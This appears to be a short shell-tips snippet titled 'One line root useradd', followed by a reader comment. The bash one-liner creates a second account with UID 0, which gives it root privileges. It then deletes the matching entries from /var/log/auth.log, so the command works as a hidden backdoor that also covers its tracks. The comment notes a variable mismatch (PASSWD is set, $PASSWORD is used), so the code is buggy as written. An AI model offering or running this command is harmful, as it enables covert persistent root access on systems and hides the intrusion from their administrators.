**One line root useradd**
It creates a new root user. You have to change some parameters.
```bash
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log

Looks like you set PASSWD as the password variable but you call $PASSWORD later. Is that right or should the reference later be $PASSWD?
